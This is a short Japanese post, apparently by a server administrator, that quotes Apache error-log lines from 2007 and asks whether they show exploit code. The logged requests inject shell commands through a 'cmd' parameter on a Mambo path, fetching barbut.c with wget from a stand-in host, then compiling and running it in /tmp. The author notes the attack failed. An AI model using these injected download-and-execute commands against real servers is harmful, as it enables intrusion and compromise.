何かの exploit code?
[Tue Nov 20 20:30:10 2007] [error] [client xxx.xxx.xxx.xxx] request failed: erroneous characters after protocol string: GET rm -f barbut barbut.c HTTP/1.1 [Tue Nov 20 20:30:10 2007] [error] [client xxx.xxx.xxx.xxx] request failed: erroneous characters after protocol string: GET ?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://example.com/barbut.c;gcc barbut.c -o barbut;./barbut ; HTTP/1.1 [Tue Nov 20 20:30:13 2007] [error] [client xxx.xxx.xxx.xxx] File does not exist: /usr/local/apache/htdocs_drweb/mambo//index.php [Tue Nov 20 20:30:16 2007] [error] [client xxx.xxx.xxx.xxx] request failed: erroneous characters after protocol string: GET cmd.gif?=?&cmd=cd /tmp;killall -9 barbut;rm -f barbut.c;rm -f barbut;wget http://example.com/barbut.c; gcc barbut.c -o barbut;./b HTTP/1.1 [Tue Nov 20 20:30:17 2007] [error] [client xxx.xxx.xxx.xxx] request failed: erroneous characters after protocol string: GET arbut ;rm -f barbut barbut.c HTTP/1.1
PHP アプリなのか、Web サーバ自体なのか、ちょっと分かりません。いずれにせよ、Unix 系 OS のコマンドを叩いて barbut なるコマンドをコンパイル・実行しようとしています。
弊社環境では PHP モジュール自体が動いていないので単なるエラーなんですが... ちにみに wget 先のサイトにはログを発見した時点でもつながりませんでした。